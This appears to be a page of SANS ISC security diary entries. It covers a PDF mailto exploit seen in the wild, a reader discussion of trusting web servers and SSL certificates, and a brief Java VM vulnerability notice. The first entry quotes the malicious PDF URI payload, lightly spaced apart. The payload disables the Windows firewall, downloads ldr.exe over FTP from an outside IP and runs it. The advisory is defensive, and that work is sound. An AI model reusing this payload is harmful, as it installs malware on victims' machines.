PDF mailto exploit documents in the wild
The vulnerability initially reported here http://isc.sans.org/diary.html?storyid=3406 and confirmed here (with workaround) http://isc.sans.org/diary.html?storyid=3477 and patched here http://isc.sans.org/diary.html?storyid=3531 now appears to have been spotted in the wild. The proof of concept code had been released, and a number of people have reported receiving the PDFs which exploit the vulnerability. Obviously please patch, apply the workarounds, and/or ensure you can detect and block the exploit. File names seen so far are "BILL.pdf" and "INVOICE.pdf".
Thanks Juha-Matti!
Update 1
The current exploit seen follows the following format (spaces added so anti-virus won't trigger):
obj<</URI(mailto :%/../../../../ ../../Windows /system32/cmd".exe"" /c /q \"@echo off&netsh firewall set opmode mode=disable&echo o 81. 95. 146. 130>1&echo binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1& start ldr.exe&\" \"&\" "nul.bat)/S/ URI>
Essentially it disables the Windows native firewall, uses FTP to download a file, and execute it. Gotcha.
Additional file names: "YOUR_BILL.pdf" and "STATEMET.pdf" some subject lines have been "INVOICE alacrity" "STATEMET indigene" and "INVOICE depredate"
Thanks Bojan!
Cheers,
Adrien de Beaupré
Bell Canada
Cyber Security Awareness tip #23 Using Browsers, SSL, Domain Names
Today's issue revolves around trust, implied, explicit, and undeserved. AKA the bad, the worse, and rather ugly. The question is, can a web server be trusted, and under what conditions? Can a web browser determine the trust value assigned to a web server, and what are the criteria for doing so? What reputation can be assigned to the URL based on IP address, SSL certificate, domain name or other parameters? What is the paradigm for using the Internet for business?
Please let us know your thoughts on the subject.
Update 1
our first example already! Irfanview is a popular graphic image viewer, and is free for personal use, available at its web site: http://www.irfanview.com/ interestingly enough other web sites seem to charge for the 'Pro' version. Are they legit? I'll leave that as an exercise for the reader. Thanks Curt for writing in.
Update 2
Webservers can rarely be completely trusted.
Conditions where I trust a webserver:
- I type in the address ( no autocomplete!)
- I'm using an appropriate browser, like Firefox with NoScript. (or, if I have to, IE - with every security flag that doesn't break the website turned on)
- I've probably used this website before. (no kissing on a first date!)
- They don't ask me for information (at least not info I hadn't expected)
Things that would make me suspicious or mistrusting:
- pop ups, pop-unders, redirection or unexpected /unexplained script (especially script errors)
- is the website a non .org/.com ?
- a hidden or vaguely written privacy policy
- expired or invalid SSL certificates
- self-issued SSL certificates
Now, in my edu, we occasionally will have both expired and self-issued certs. I don't think of this as a deal breaker if I know why the cert is that way, and I may even confirm this out of band. The other side of this coin is: I don't implicitly trust a "good" certificate either.
Submitted by Bill.
Update 3
Roseman writes "you do not yet mention any browser extensions, such as Netcraft Toolbar or McAfee SiteAdvisor, which by themselves would not guarantee a site is good just because they dont complain, but they do add another layer to the "defense-in-layers" when it comes to identifying spoofed logon sites".
One other issue, when do you trust a domain name? Commonly the .org, .edu, and .com domains are fairly well known. How about .biz or .info?
Update 4
I'm not sure if this is related to what you are discussing with SSL certificates, but I have noticed in the last year-plus the different levels of SSL certificates available. At first, I thought it was a level of encryption, but it turned out to be a level of validation to the certificate holder ... and all the validation (paperwork) that goes into it. The site gets a Seal, but who doesn't have a Seal now a days validating something?
These seals are not like the Mastercard or Visa logo that you have a level of expectation. Some site can have a seal that says "Safe'n'Secure Computing for the last 30+ days" or whatever, but who is doing the validating and how tough is their requirements to get validated. Plus, I sure I have visited legitimate sites that don't display a seal .. and my transaction has been fine. And who has the better "sealing" process.
I know some organizations are doing a lot more to protect the information once they have it (not storing the information in plain text/etc) and I'm sure some seals validate that procedure as well (or at least I would think -- maybe not).
As far as quickSSL vetting: "...for only $19.99 a year, a hacker can safely encrypt your credit card information for transmit across the information, so other hackers don't steal it."
A few years ago, the rule was don't buy anything online unless you see the lock (or equivalent icon). Now that may not be holding true much longer (if a quick SSL certificate is easy to get). Unless there is some behind-the-scenes process that stops a hacker from getting an quickSSL certificate that I'm not aware of.
I know there are root certificate authorization (I think) -- to kind of avoid the issue the happened to Microsoft a few years ago, where certificates to issued to someone pretending to be Microsoft - if I remember correctly.
As for a solution: it is almost as if an ICANN-type worldwide organization would have to be formed that validates a business. ICANN is responsible for IP/Names across the Internet. But across the World, that could be tough -- what's legal here might be illegal somewhere else -- or vice-versa.
Thanks to Keith for this update.
Cheers,
Adrien de Beaupré
Bell Canada
Vulnerability in JRE VM
A vulnerability in the Virtual Machine of the Java Runtime Environment may allow an untrusted applet to elevate its privileges. For example, an applet may grant itself permissions to read and write local files or execute local applications that are accessible to the user running the untrusted applet.
Solution, upgrade.
From the Sun advisory.
Cheers,
Adrien de Beaupré
Bell Canada
Comments